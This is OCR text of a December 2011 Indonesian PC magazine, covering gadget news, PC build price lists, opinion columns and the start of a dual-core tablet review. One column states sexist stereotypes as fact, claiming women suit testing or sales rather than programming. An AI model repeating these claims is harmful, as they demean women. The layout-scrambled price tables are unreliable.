DDR3, 1 TB HDD, Blu-Ray DVD/RW, ATI Radeon HP 6770M graphics, layar HP BrightView LED 15,6 inci, serta BeatsAudio. Sementara, HP Pavilion dv6-6167tx dihadirkan dengan spesifi kasi Intel Core i7-2670M, Windows 7 Home Premium, 4 GB DDR3, 640 GB HDD, layar HP BrightView LED 15,6 inci, ATI Radeon HD 6490M 1 GB, dan Beats Audio. HP ProBook 5330m, yang khusus dirancang untuk pebisnis, menyajikan fitur-fitur seperti backlit keyboard, Infineon Professional TPM Package untuk keamanan data berbasiskan hardware, dan Intel vPro yang bersifat opsional untuk meningkatkan keamanan dan pengelolaan jarak jauh bagi para profesional on-the-go. Info: hp.com

Sony Ericsson Xperia neo Sony Ericsson Xperia neo dan Xperia neo V, dua smartphone dengan platform Android yang sebelumnya diumumkan pada awal tahun ini, kini sudah tersedia di Indonesia. Sony Ericsson Xperia neo dihadirkan dalam platform Android Gingerbread dan kamera 8.1 MP yang juga dilengkapi dengan sensor Exmor R. Sementara, ponsel Xperia neo V dihadirkan dalam platform Android Gingerbread dengan software terbaru dan kamera 5 MP dengan teknologi 3D

20

pcm_Gadget_12_ruly edit nur.indd 20

sweep panorama. Reality Display dengan Mobile BRAVIA Engine yang terdapat pada Xperia neo memberikan gambaran visual yang jernih. Teknologi Sony Exmor R untuk sensor mobile memungkinkan untuk menangkap gambar dengan kualitas tingkat tinggi, bahkan dalam keadaan cahaya yang kurang. Xperia neo V merupakan salah satu produk pertama yang diluncurkan dengan software baru dan memiliki semua fitur, seperti Google Talk dengan video chat, 3D sweep panorama, dan fungsi Facebook inside Xperia yang sudah ditingkatkan. Xperia neo V membawa

software Android terkini untuk smartphone, termasuk Reality Display dengan Mobile BRAVIA Engine. Peningkatan fitur kamera terbaru dari Sony memperkenalkan teknologi 3D sweep panorama yang memungkinkan untuk mengambil gambar. Gambar tersebut kemudian dapat dilihat secara 3D dengan menyambungkan ponsel dengan TV 3D melalui output HDMI. Sony Ericsson Xperia neo tersedia dengan harga Rp2.999.000,00, sedangkan Sony Ericsson Xperia neo V tersedia dengan harga Rp2.799.000,00. Info: sonyericsson.com 12/2011

11/10/2011 2:18:29 PM

advan_12.indd 1

11/11/2011 2:32:32 PM

FIRST PC Market Express

KURS US$1= RP9.000,00 PER 23 NOVEMBER 2011

US$359A

PERFORMANCE PC

(KOMPUTASI DASAR)

TOTAL HARG

CPU Sempron 140 (Box)

US$

CPU Intel Core i7 2500K (Box)

BUDGET PC

34

(2.7 GHz, 1 MB, Socket AM3) MOBO J&W 785GM-D3

US$

65

US$ 216

MOBO BIOSTAR TP67XE Ver. 5.0

US$ 133

(Intel P67, 4 x DDR3 (Intel XMP support),

Dual-CH DDR3, PCI-X 16x, HDMI

2 x PCI- X16x (SLI or Crossfire) US$

Firewire, USB 3.0, SATA III) VGA PoV GTX 560 Ti 1 GB/D5 256 Bit

(DirectX 10.1, Onboard 128 MB Sideport

US$ 239

(GPU/GDDR Clock 822/4008, 384 SP)

Memory, up to 512 Share memory) RAM V-Gen 2 GB/10600

US$

14

RAM TEAM Xtreem Dark 4 GB*2 1600

HDD Samsung SATA II 160 GB 7200 RPM

US$

66

CL 9-9-9-24 (for Gamer and Overclocker)

ODD Samsung SATA DVD ROM (Box)

US$

14

HDD Kingston Hyper-X SSD 120 GB

LCD Advance 15.6 Inch LM 1670

US$

60

SATA III, SandForce Controller up to 524 MB/s

Lumine LED + Speaker KEYB. SPC Keyboard PS/2 +

TOTAL HA

(3.3 GHz, Cache 6 MB) LGA 1155 Unlock

AMD 785G, Micro ATX, up to Phenom II X4 VGA AMD HD4200

(GAMING & MULTIMEDIA)

63 US$1,7RG A

US$

9

Mouse Optic USB

US$

97

US$ 300

BDDROM LG Blu-Ray RW

US$ 135

LCD AOC 21.5 Inch E2243FW2

US$ 253

Wide 2 ms 50.000.000:1

CASE DAZUMBA Mini Di 100

US$

27

KEYB Thermaltake Meka G Unit

PSU ATX 380 W (Integrated)

US$

MOUSE Power Logic Alien G9

US$

30

SPEAKER Integrated on Monitor

US$

CASE Venom-RX Atra GTO Full Tower

US$

80

PRINTER HP 1660 Deskjet

US$

28

PSU AcBel M85H/750 Modular

US$

94

US$

42

OS Windows 7 Home Premium OEM

US$

95

USB, up to 84 Sheet in tray capacity OS Windows 7 Starter Edition OEM

US$

91

(Pure 700 W), 80+

US$575A

OFFICE PC

(HEMAT ENERGI)

TOTAL HARG

(PERKANTORAN)

TOTAL HARG

CPU AMD Zacate Dual Core

US$

CPU Intel® Core i3 2100 (Tray + Fan)

US$ 106

GREEN PC

1.6 GHz / 1 Mb (Integrated on Motherboard) MOBO Foxconn AHD1S-K

(3.1 GHz, C3Mb, LGA 1155) US$ 101

MOBO ASRock H61-U3S3-B3

US$

81

US$

RAM Kingston 2 GB PC3 10600

US$

15

HDD WDC SATA III 320 GB

US$

91

DVD-RW Lite-On DVD-RW SATA 24x (OEM)

US$

19

LCD LG W1953S

US$ 103

AMD® Hudson M1 Chipset

(Intel H61, Dual Channel DDR3 1333

USB 2.0, SATA III, onboard 5.1CH HD Audio,

up to 16 GB, PCI-Express 16x Slot, Micro ATX) VGA Intel® HD Graphic

1 x PCI-X 16x, D-SUB, DVI & HDMI output VGA Integrated ATi® HD 6310 Graphics

US$

US$

65

512 MB shared RAM Team Xtreme LV2000 (2 x 2 GB) TXD34096M1600HC7LDC-L / 7-9-7-24 HARDDISK Samsung HD204UI 2 TB

(Integrated on Intel Core i3 processor)

7200 RPM 16 Mb US$ 150

SATA II 5400 RPM/32 MB cache DVDRW Toshiba External DVD-RW Slim USB

US$

35

18,5” LED Lumine + Speaker

LCD LG 16 Inch 1643S LED Wide

US$

80

+ Calculator with Security Lock Keyboard

KEYB Epraizer Keyboard

US$

7

KEYB. GENIUS Numpad Pro USB

22x OEM

Mouse Optical PS2 Black CASE Venomrx Iwasaki

US$

42

PSU 150 W (Integrated on Case) 24Pin

US$

OS Windows 7 Home Premium OEM

US$

95

ITX Intel Atom Special Case

22

PC Market_12 edit nur_edit rifan edit nur.indd 22

US$653A

US$

16

MOUSE SENSE Wireless Mouse SW08

US$

12

CASE Enlight EN4109

US$

68

(Mid Tower, 1 x Audio, 2 x USB 2.0 at front) PSU 420 W (Integrated on Case) 24Pin

US$

HEADSET A4Tech HS-800

US$

11

OS Windows 7 Professional OEM

US$ 131

12/2011

11/23/2011 2:01:27 PM

PC Society FIRST

AMD Rising Stars

Epson Luncurkan 16 Proyektor

Pada 11 Oktober lalu, AMD mengumumkan peluncuran kampanye “AMD Rising Stars” di Indonesia. Kampanye terbaru AMD ini ditujukan untuk mencari anak-anak muda berbakat di Indonesia yang berusia 19. sia one Tiga duta AMD dari Ind 29 tahun dan menunjukkan kreativitas dan semangat melalui teknologi VISION dari AMD. Dalam event tersebut, ditunjuk pula tiga orang duta AMD Rising Stars asal Indonesia, yaitu Raisa Andriana, Sakti Marendra, dan Dian Pelangi. AMD dan para duta AMD akan menilai dan mengumumkan siapa yang menjadi AMD Rising Stars selanjutnya pada Januari 2012.

Di Bali, pada 7-8 Oktober lalu, Epson menghadirkan enam belas jenis proyektor baru yang masing-masing memiliki kelebihan. Peluncuran ini merupakan salah satu usaha Epson dalam memenuhi semua kebutuhan konsumen di Indonesia dan sebagai usaha segmentasi produk yang diarahkan bagi konsumen kelas tertentu. Semua produk yang diluncurkan sudah menerapkan teknologi 3LCD yang menjadikan kreasi warna menjadi lebih nyata dan tingkat kecerahan hingga 2600 lumens. Beberapa di antaranya sudah mendukung high definition dan kemampuan proyeksi Ingin memenuhi sem ua gambar 3D dengan bantuan keb utu han konsumen. kacamata aktif.

HP Ink Advantage

Indocomtech 2011

Dalam event “Indocomtech 2011”, Hewlett-Packard menghadirkan solusi cetak warna dan hitam-putih hemat melalui portfolio printer Ink Advantage. Dengan kemampuan mencetak hingga 600 halaman dengan satu cartridge seharga Rp80.000,00, Ink Advantage menjadi solusi menekan biaya cetak keluarga di rumah. Terobosan teknologi Ink Advantage yang telah diperkenalkan pada Deskjet K209a kini juga dihadirkan pada Deskjet K010a, Deskjet K110a All-in-One, Deskjet K209g All-in-One, serta Photosmart K510 eAllSolusi tinta hemat in-One. seharga Rp80.000,00.

Pada 2 November lalu di Jakarta diadakan “Indocomtech 2011”. Dalam pameran ini dihadirkan lebih dari 250 perusahaan vendor industri TI dan aksesorinya, beberapa operator telekomunikasi, dan Indonesia. perusahaan fotografi digiPameran TI terbesar di tal. Pameran selama lima hari ini (2-6 November 2011) dilangsungkan di lahan seluas ± 17.000 m2, mencakup area Hall A, Hall B, Cendrawasih, Main Lobby, dan Plenary Hall di Jakarta Convention Center. Targetnya adalah pengunjung sebanyak 220.000 orang dengan nilai transaksi sebesar Rp625 miliar.

Leadtek - nVIDIA Dalam event yang berlangsung pada 11 Oktober lalu di Jakarta, Leadtek memperkenalkan dirinya sebagai partner utama nVIDIA Quadro di wilayah Asia Pasifik, kecur utama Leadtek sebagai partne ali Jepang. nVIDIA Quadro k. ifi Pas a nVIDIA di Asi adalah teknologi yang lebih difokuskan untuk visualisasi dalam mengoptimalkan aplikasi engineering, seperti 3ds Max, CATIA, dan SolidWorks. Selain itu, juga diperkenalkan teknologi nVIDIA Tesla yang merupakan kombinasi antara CPU dan GPU melalui bridge yang dinamakan CUDA untuk kebutuhan parallel computing seperti pada bio-molecular dan high iteration programming. 12/2011

pcm_society_12_ruly edit nur.indd 23

Mimaki CJV 30 & JV33 Mimaki Engineering, sebuah perusahaan asal Jepang yang bergerak di bidang pengembangan produk berbasiskan inkjet dan teknologi cutting, memperkenalkan dua produk printer/ cutter-nya di Indonesia pada 3 November lalu. Kedua seri yang diperkenalkan adalah CJV30 dan JV33. CJV30 adalah produk integrated printer/cutter, sementara JV33 adalah produk wide format inkjet printer. Pada kedua produk tersebut digunakan uninterrupted ink supply system. Dengan sistem tersebut, bila ada satu cartridge tinta yang habis, cartridge yang lain akan menggantikan Printer untuk dunia ind peranannya. ustri.

23

11/22/2011 1:49:32 PM

FIRST Viewpoint

Zatni Arbi (Pengamat Teknologi Informasi)

KISAH KEYBOARD MODEL M Konon, masih banyak pengguna komputer sejak dulu yang fanatik pada keyboard model M. Sayalah salah satunya.

Saya membeli PC pertama saya pada1987, IBM PS/2 model 30. Waktu itu saya masih jadi mahasiswa di luar negeri. Karena uang tidak cukup, saya beli yang layarnya black and white. Graphics-nya sudah VGA. Processor-nya? Jangan tertawa. Intel 8086 berkecepatan 8 MHz. Kapasitas harddisk-nya? 20 MB. Namun, itu sudah lumayan untuk menjalankan programprogram yang saya pakai waktu itu untuk tugas-tugas saya. Namun, memang tidak mengherankan PS/2 model 30 itu bekerja seperti mobil Picanto yang menarik Travello. Semua PS/2 disertai keyboard yang besar, berat, dan berisik, yang dijuluki keyboard yang clackety-clack. Pada tombolnya masih digunakan per untuk mengembalikannya ke atas setelah ditekan. Desain ini dinamai buckling spring. Sebenarnya, IBM mulai membuat keyboard yang legendaris sejak 1984. Bahkan, keyboard-keyboard yang dipakai di mainframemainframe mereka sudah lebih dulu tahan banting. Cuma, waktu itu, tumpahan kopi pasti membuat keyboard-keyboard ini kaput. Konektor keyboard untuk PS/2 saya juga baru, lebih kecil daripada konektor AT yang sebelumnya dipakai pada komputer-komputer lain. Keyboard Keyboard Model ini juga dikenal dengan nama “Model M”. Saya sangat meM bagus sekali. nyukai keyboard Model M Huruf-huruf di dan sampai sekarang merasa bekerja hanya dengan keycap-nya tidak nyaman keyboard tersebut. memudar walau Sejak kembali ke Tanah Air, saya pernah membeli beberapa sudah lama keyboard buatan IBM atau dipakai. dibuat oleh Lexmark untuk IBM. Ya, Lexmark dulu memegang hak atas desain, hak memproduksi dan menjual keyboard ini. Pada 1990-an, sebelum kerusuhan 1998, keyboard IBM ini masih dijual di Glodok. Ada berbagai variasi juga—ada yang dilengkapi trackball dan ada yang dilengkapi trackpoint. Keyboard Model M bagus sekali. Huruf-huruf di keycap-nya tidak memudar walau sudah lama dipakai. Per-pernya juga tidak terasa bertambah lemah dengan berlalunya waktu. Pada banyak keyboard sekarang, lebih banyak digunakan membran

24

viewpoint_12 edit nur.indd 24

plastik atau karet. Itulah sebabnya jarak tekan mereka, yang disebut key travel, pendek sekali. Begitu sayangnya pada keyboard Model M, saya berniat membeli satu lagi bila masih tersedia. Di eBay ada banyak dan harganya murah. Namun, saya ingin yang benar-benar baru. Maka, saya browse di Internet dan berhasil menemukannya. Ternyata sejak 1996, hak atas desain dan produksi serta penjualannya dipindah ke Unicomp. Mereka masih membuat beberapa tipe keyboard dengan kualitas IBM dulu itu dan kita bisa pesan yang menggunakan colokan PS/2 atau USB. Yang paling sederhana harganya US$76.00. Mahal juga. Saya tidak tahu bagaimana UniComp bisa bertahan karena pasti volume penjualan keyboard ini sangat terbatas. Siapa yang tertarik membeli keyboard seharga US$76.00 kalau yang seharga US$40.00 dari Logitech atau yang sedikit lebih mahal daripada Microsoft Hardware sudah sangat memadai? Hebatnya, mereka juga membuat keyboard untuk Mac. Jadi, kalau tidak menyukai keyboard buatan Apple, Anda bisa mengunjungi website Unicomp dan memilih sendiri. Beberapa waktu yang lalu, kebetulan teman baik sejak semasa saya kuliah di Honolulu, akan datang ke Indonesia. Saya minta tolong dia memesankan keyboard Model M 101 dengan warna favorit saya, pearl white, dari Unicomp dan membawakannya sewaktu dia ke Jakarta nanti. Setelah sampai di tangan saya, keyboard itu sesuai dengan keinginan saya, bahkan ada bonus Macademia nuts khas Honolulu. Di dunia teknologi, hampir-hampir tidak bisa kita temui produk abadi seperti Keyboard Model M ini, yang masih dicari oleh pecintanya walaupun berumur lebih dari 40 tahun. IBM PS/2 Model 30 jelas tidak mungkin dipakai lagi karena pembuat software maupun hardware selalu bekerja sama membuat tuntutan akan kekuatan komputasi yang semakin besar. Kita dikelilingi barang produksi massal yang cepat rusak, seperti AC, TV, notebook, dan HP. Namun, Anda tentu tahu bahwa Daihatsu membuat bemo yang sampai hari ini mengangkut penumpang di daerah Benhil dan di KH Mansur sejak setengah abad yang lalu. Marilah kita pikirkan apa yang dapat kita desain, produksi, lalu jual ke pasar dan masih dicari atau dipakai orang puluhan tahun kemudian walaupun harganya selangit seperti keyboard IBM Model M.[[emailprotected]] 12/2011

11/21/2011 9:38:57 AM

Viewpoint FIRST

Maykada Harjono (Pengamat Isu TI Publik)

DENNIS M. RITCHIE Pembuat program atau pemakai intim komputer, bila tidak kenal nama di atas, bisa dilukiskan dengan satu kata: t-e-r-l-a-l-u.

Berbanding terbalik dengan kematian Steve Jobs yang diratapi berjuta orang, kepergian Dennis M. Ritchie tidak menyita banyak perhatian publik. Padahal, bila setiap PC, laptop, smartphone, hingga tablet ditelisik dengan mikroskop, akan terlihat jejak-jejak karyanya. Ia meletakkan dua fondasi penting di dunia komputasi modern, yaitu sistem operasi Unix dan bahasa C. Unix membawa tiga konsep penting dalam sistem operasi, yaitu portabilitas, multi-tasking, dan multi-user. Sebelum Unix, sistem operasi dibuat dengan bahasa Assembly yang kaku, sulit diprogram, dan sulit dipindah, sangat bergantung pada mesin. Lingkungan Unix dengan model client-server juga menjadi dasar pengembangan jaringan internet. Hingga kini, Unix dan turunannya (seperti Linux) masih dipakai luas di server, terminal kerja, PC, dan perangkat mobile. Bahasa C, siapa yang tak kenal? Inilah bahasa komputer terpopuler sejagat dan mendorong munculnya bahasa-bahasa lain, sebut saja C++, C#, Java, JavaScript, PHP, Python, dan Perl. Bahasa C sering dikategorikan tingkat menengah, menjembatani aras bawah (mesin) dan aras atas (manusia). Bila dirangkum, barangkali ini kata kunci bahasa ini: sederhana, luwes, dan tersedia. Boleh dibilang, seluruh sistem operasi dan pendukungnya dibangun dengan bahasa ini. Perkenalan saya dengan Pak Ritchie tak lain dan tak bukan melalui buku beliau, The C Programming Language, Second Edition. Saya sangat terkesan oleh penyampaian yang ringkas, tetapi lugas tentang konsep pemrograman bahasa C. Bahasa yang konon bagi sebagian orang rumit ini, diurai lengkap hanya dalam 272 halaman. Bandingkan dengan Programming Perl karya Larry Wall dengan 1.100 halaman. Bahkan, buku Ritchie yang diterbitkan pada 1978 ini (direvisi pada 1988) masih jadi pegangan wajib programmer C hingga sekarang. Suksesnya Unix dan bahasa C tak lepas dari keberuntungan sejarah. Pada 1970-an, belum ada bahasa dan sistem komputer yang luwes, murah, dan efisien. Komputer masih berbadan besar dan mahal seperti DEC PDP dengan bahasa khusus seperti Assembly dan Fortran. Bersamaan dengan mulai tumbuhnya komunitas riset dan akademis berbasiskan komputer, kehadiran Unix segera disambut hangat dan luas dengan C sebagai bahasa pergaulan (lingua franca) antarsistem. 12/2011

viewpoint_12 edit nur.indd 25

Bahasa C mengusung semangat pragmatisme, memahami apa yang benar-benar dibutuhkan. Kesederhanaan di satu sisi membawa kemudahan, tetapi di sisi lain memiliki keterbatasan. Contoh paling mudah adalah operasi string. Dalam bahasa Pascal, string adalah tipe data sehingga memiliki perlakuan khusus, sementara dalam C, string tak ubahnya alamat memory. Pengelolaannya memiliki kerumitan yang sama seperti pointer, membuat program menjadi cryptic, sulit dibaca. Banyaknya library tambahan juga bisa menimbulkan masalah portabilitas dan standardisasi program. Tentu saja, C tidaklah jatuh begitu saja dari langit. Bahasa adalah produk masyarakat penggunanya, dipengaruhi dan memengaruhi bahasa lain. Bila ditarik ke akarnya, C merupakan modifikasi bahasa B (Ken Thompson), yang merupakan turunan BCPL (Martin Richards). Keseluruhannya adalah keluarga Algol 60. Demikian pula Unix, yang terinspirasi dari pendahulunya, Multics. Hal yang menarik dari Unix dan turunannya adalah filosofi kesederhanaan—bagaimana sistem terbangun secara modular sehingga masalah rumit terbagi menjadi solusi-solusi Ia meletakkan dua mudah, memecah pengerjaan melalui program-program fondasi penting di dengan fungsi khusus, yang dunia komputasi kemudian tergabung (misalnya lewat pipe) untuk memperoleh modern, yaitu sishasil yang lebih kompleks. tem operasi Unix Modularitas ini membuat kejelasan terjaga hingga ke tingkat dan bahasa C. detail. Bandingkan dengan sistem operasi lain dengan istilah Blue Screen of Death di mana masalah tidak jelas ujung-pangkalnya. Demikianlah jasa besar Dennis M. Ritchie dalam memajukan komputasi dunia. Kesederhanaan dan ketekunannya sebagai peneliti di AT&T Bell Laboratories menciptakan sejarah tersendiri. Penghargaan memang tidak datang dari media, tetapi Turing Award, penghormatan tertinggi di bidang komputasi. Akankah kita menemui lagi sosok fenomenal di tengah hiruk-pikuk teknologi informasi seperti sekarang? Entahlah. Selamat jalan, Mr. Ritchie.[[emailprotected]]

25

11/21/2011 9:38:59 AM

FIRST Viewpoint

Bernaridho I. Hutabarat (Direktur PT Bisnis Tekno Ultima)

PEREMPUAN DAN TI Saat kuliah pada 1987–1992 di ITB, ada sembilan mahasiswi di kelas saya, Informatika 1987. Rasionya 1 perempuan : 5 lelaki.

ITB adalah perguruan tinggi keteknikan sehingga wajar sebagian besar mahasiswanya adalah lelaki. Rasio 1:5 dianggap cukup tinggi di ITB. Saya ingat pada angkatan saya jumlah mahasiswa Teknik Mesin hampir 150 orang dan hanya ada satu perempuan! Pada beberapa jurusan lain, kasusnya tidak separah Teknik Mesin, tetapi rasionya secara umum tidak sebaik Informatika. Rasionya secara umum di bawah 1:5. Jurusan-jurusan yang menjadi pengecualian adalah Biologi, Teknik Industri, dan kadang-kadang jurusan pada FSRD (Fakultas Seni Rupa dan Desain). Cukup populer pada masa saya kuliah slogan “kalau mau cari cewek, cari ke Biologi”. Sampai sekarang pun saya amati jurusan informatika di berbagai perguruan tinggi memiliki rasio perempuan-lelaki yang lebih baik daripada kebanyakan jurusan keteknikan. Kalau Anda lelaki, percayalah, bila kuliah di jurusan informatika, Anda tidak bakal hanya bergaul dengan sesama Anda. Apa yang menarik dari kehadiran perempuan pada pendidikan software (informatika)? Yang paling menarik dan perlu diteliti adalah seberapa banyak di antara mereka yang benarbenar bekerja di bidang teknik pascakuliah. Saya mengamati Kebanyakan banyak alumnus pendidikan perempuan software yang tidak bekerja sebagai programmer, database tidak sanggup manager, network manager, membaca bukudan sejenisnya. Hal ini terlebih-lebih benar untuk perembuku teknis puan. Banyak sekali alumnus pemrograman.... perempuan yang tidak bekerja di bidang teknis. Kebanyakan perempuan tidak sanggup membaca buku-buku teknis pemrograman yang memang naudzubillah ketidakjelasan dan tebalnya. Banyak psikolog dan buku psikologi menyatakan bahwa perempuan lebih unggul daripada laki-laki dalam hal kerincian. Namun, dalam bidang teknik, pendapat tersebut terbukti lebih banyak salahnya. Dalam rapat-rapat dosen, cukup sering mahasiswi mendapat perlakuan khusus karena secara sadar atau tidak, dosen mengetahui bahwa programming bukan kegiatan yang secara umum cocok untuk perempuan. Pelaku bisnis dan industri

26

viewpoint_12 edit nur.indd 26

software juga tidak memfavoritkan perempuan. Bila ada dua calon yang dinilai memiliki potensi yang sama untuk diterima, yang diutamakan adalah yang lelaki. Pelaku pendidikan software perlu memikirkan lebih saksama cara mendidik perempuan, materi yang diberikan, dan cara menyalurkan mereka ke pekerjaan yang cocok. Sampai saat ini, saya lihat kebanyakan mereka tidak merumuskan strategi yang tepat untuk perempuan. Strategi yang sering dilakukan (dan salah) adalah mendidik perempuan untuk jadi dosen. Bila dosen perempuan tidak suka dan tidak mampu melakukan programming, dia tidak menjadi role model yang baik. Pada edisi 11/2011, saya menyinggung banyaknya alumnus pendidikan software yang malu disebut sebagai programmer. Absennya role model akan meningkatkan rasa malu alumni. Apa pekerjaan yang secara umum cocok dan lebih baik untuk perempuan TI? Saya lihat ada empat. Pertama, dokumenter. Lelaki secara umum malas mendokumentasikan sesuatu daripada perempuan, apalagi bila sudah membuat program. Sering sekali membuat program sudah menyita banyak tenaga dan pikiran. Karena itu, programmer perlu dibantu dalam mendokumentasikan source code. Kedua, membuat model-model grafik. Ada baiknya perempuanlah yang membuat model-model grafik, seperti Operation Relationship Model (yang sering disebut DFD: Data Flow Diagram) dan Value Change Model (yang biasa disebut STD: State Transition Diagram). Ketiga, tester. Pembuat software sangat paham bahwa programmer adalah pilihan buruk untuk menguji program yang dia buat sendiri. Perempuan mungkin cocok sebagai tester. Bebannya tidak seberat programmer. Selain itu, bukankah suasana kantor lebih menarik dengan adanya perempuan? Mungkin programmer akan lebih betah dengan kehadiran perempuan-perempuan yang mengerti pekerjaannya. Pekerjaan terakhir yang cocok adalah sales. Slogan yang umum di pekerjaan adalah sex sells. Dalam beberapa tulisan, saya membaca bahwa penjualan lebih berpotensi untuk berhasil bila penjual dan pembeli adalah opposite sex. Mengingat direktur TI dan manajer TI didominasi lelaki dan mengingat asumsi kebenaran teori penjualan, bukankah mereka lebih baik didekati oleh saleswoman?[[emailprotected]] 12/2011

11/21/2011 9:38:59 AM

Image media (ViewSonic)_12.indd 1

23/11/2011 12:00:12

HARDWARE TEST Labs Talk: Tablet Dual-core

TABLET DUAL CORE Tablet semakin menggeser peranan notebook mini di dunia mobilitas. Karena itu, kami menghadirkan beberapa pilihan tablet. Manakah yang terbaik? INDEX HARDWARE TEST

Wawa Sundawa

Memberikan solusi untuk kegiatan mobile adalah salah satu maksud kami dalam menghadirkan ajang “Group Test” dengan produk tablet sekaligus sebagai penanda mulai tersisihkannya tren dunia notebook mini. Selain itu, dari segi fungsinya, tablet dapat diatur untuk melakukan banyak hal yang sebagian besar menyentuh produktivitas maupun aktivitas sehari-hari. Dengan kenyataan-kenyataan di atas, tablet juga sepadan dengan tema utama edisi PC Media pengujung tahun ini, yakni home digital. Pasalnya, tablet adalah device digital mutakhir saat ini. Perihal batasan tablet, kami tidak menetapkan yang terlalu ketat. Kemungkinan performanya harus kompetitif dan platform hardware harus menggunakan jenis CPU dual core. Selain “Group Test” tablet, kami hadirkan beberapa hardware single yang tidak kalah menarik, seperti processor AMD mutakhir dengan 8 core dan all-in-one PC dengan ekstrafitur multi-touch display yang cocok sebagai penggerak utama HTPC. Dunia gaming juga tidak ketinggalan dengan adanya tawaran gaming keyboard yang cukup ekstrem dengan full mechanical button. Selain itu, ada produk ekstrem berupa storage berkemampuan akses data cepat (SSD) dan UPS kelas industri.

AWARD HARDWARE TEST BEST PRODUCT: Award pada rubrik “Group Test” untuk produk dengan perbandingan nilai tertinggi di antara seluruh parameter penilaian, kecuali parameter harga (total nilai). BEST BUY: Award pada rubrik “Group Test” untuk produk dengan perbandingan nilai tertinggi di antara seluruh parameter penilaian, termasuk parameter harga (total nilai harga). BEST PERFORMANCE: Award pada rubrik “Group Test” untuk produk dengan kinerja tertinggi (total performa) dari hasil benchmark yang dilakukan selama pengujian. RECOMMENDED: Award untuk produk yang menawarkan kelebihan tersendiri, baik performa, fungsionalitas, maupun fitur dari sudut pandang tester yang bersangkutan. ENERGY SAVING: Award pada rubrik “Group Test” dan “Single Test” untuk produk motherboard yang memerlukan daya paling sedikit (hemat daya).

BEST PRODUCT

12 2011

BEST BUY

12 2011

BEST 12 PERFORMANCE 2011

RECOMMENDED

12 2011

ENERGY SAVING

12 2011

100% INDEPENDENT LABS TEST Komponen test-bed yang digunakan sebagai platform pengujian bukanlah pemberian/ sponsor dari produsen mana pun, melainkan dipilih dan dibeli secara mandiri oleh PC Media. Seluruh staf uji coba PC Media tidak berstatus lepas (kontributor/freelance), tetapi karyawan resmi yang tidak memiliki keterkaitan apa pun dengan produsen yang produknya diuji coba, termasuk tidak menerima imbalan dalam bentuk apa pun dari produsen tersebut. Hasil pengujian produk yang dimuat sama sekali tidak ada kaitannya dengan iklan maupun hubungan bisnis dengan produsen mana pun.

28

28_intro GT_12 edit nur.indd 28

Group Test Tablet Dual-core 29 Acer Iconia A101 30 ASUS Transformer TF101g 31 Huawei Mediapad 32 LG Optimus Pad v900 33 Motorola Xoom MZ601 34 Samsung Galaxy Tab 8.9 Single Test VGA 36 Digital Alliance HD 6990 37 Sapphire Vapor-X HD 6770 38 Zotac Geforce GT 440 Processor 40 AMD FX-8150 Black Edition Motherboard 41 ASUS Sabertooth P67 42 Gigabyte Z68X-UD7-B3 SSD 44 Kingston HyperX SSD 120GB Notebook 45 ASUS U41SV Desktop PC 48 Lenovo IdeaCentre B320 Keyboard 50 i-rocks RF-6496 52 Tt eSPORTS MEKA G Unit Gateway 53 Venus VR 433 N Wireless Router 54 Cisco Linksys E1000 Power Adaptor 54 Huntkey Notebook Adaptor PSU 56 Enermax NAXN 550W Stereo Headphone 57 Sennheiser PC 360 G4ME Portable Speaker 58 Edifier MF240 Speaker 2.1 60 NIVS NCT-N1U PC Case 61 VenomRX ATRA GTO 62 CoolerMaster Elite 431 Plus UPS 63 APC Smart UPS SUA 3000 XLI

12/2011

11/16/2011 4:51:46 PM

Group Test: Tablet Dual-core HARDWARE TEST

ACER ICONIA A101

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Network Processor

BEST BUY

Operating System Layar

12 2011

Internal Memory External Memory Koneksi Software Phonebook Messaging Browser Kamera

Tampak penampang belakang.

Tampak penampang samping.

Ringtones Baterai Dimensi Bobot Fitur-Fitur Lain Paket Penjualan

Acer Iconia A101 Rp3.990.000,00 (kisaran) Acer, Inc. ERAFONE twitter@acerid, facebook Acer Indonesia GSM 850/900/1800/2100; HSDPA 850 /900/1900/2100 nVIDIA Tegra 2 250 1 GHz Dual core (GPU nVIDIA GeForce ULP) Android 3.2 (Honeycomb) capasitive touchscreen, 1024 x 600 pixels, 7 inches 8 GB storage, 1 GB RAM ya Wi-Fi 802.11 b/g/n, Wi-Fi HotSpot, Bluetooth V2.1 A2DP +EDR, HDMI eBook Reader, Acer Media, DocsToGo (Office Suite), Internet Radio (Trial) ya e-mail, push e-mail, IM, SMS, MMS, SNS HTTP (Android browser) Primary 5 MP AF LED Flash, Secondary 2 MP N/A 1530 mAh 195 x 117 x 13,1 mm 410 g 3.5 mm audio jack, audio player, video player, Wi-Fi sharing, etc. travel charger, kabel data, QIG, manual

Tombol power dan port audio. TOTAL PERFORMA TOTAL PENILAIAN

2

2

20

40

Total Performa Fitur & Perlengkapan Handling Service Harga

1 3

Tablet mungil nan powerful.

82%

Speaker internal dan microHDMI.

TOTAL NILAI WE LIKE Kinerja memuaskan, konektivitas lengkap.

Tombol volume dan lock button.

80 100 Nilai% 82% 86% 100% 48% 56%

86% WE DON’T Resolusi layar dan pixel count.

TOTAL NILAI/HARGA

Housing SIM card dan micro SD.

60

(MAKS. 100=100%)

83%

1 3

Kamera dengan flash.

Kamera depan.

Ekstratombol home (touch).

Pada ajang “Group Test” kali ini, Acer juga menghadirkan solusi tablet dual core. Berbeda dengan solusi sebelumnya yang menggunakan layar 10,1 inci, kini Acer menerapkan layar berukuran 7 inci dan resolusi yang lebih rendah (1024 x 600). Meski begitu, layar memiliki pixel count lebih tinggi, yakni 169 PPI dibandingkan 149 PPI pada 10,1 inci. Di luar sisi tampilan display, pada bentuk dan desain enclosure Acer dipertahankan hal yang hampir serupa dengan tablet 10 incinya. Sedikit perubahannya adalah pada enclosure digunakan bahan plastik dan disediakannya tombol touch sensitive home 1 . Dalam tawarannya, Acer menyediakan dua model produk dengan basis warna merah dan biru sebagai alternatif pilihan. Sisi internal hardware sebenarnya yang paling menarik dari Acer karena menggunakan platform nVIDIA Tegra 2. Acer mengklaim tabletnya ini sebagai tablet berukuran 7 inci per12/2011

29_Acer Iconia A101 GT_12_edit WS edit nur.indd 29

Port koneksi data proprietary, tetap tersedia koneksi USB.

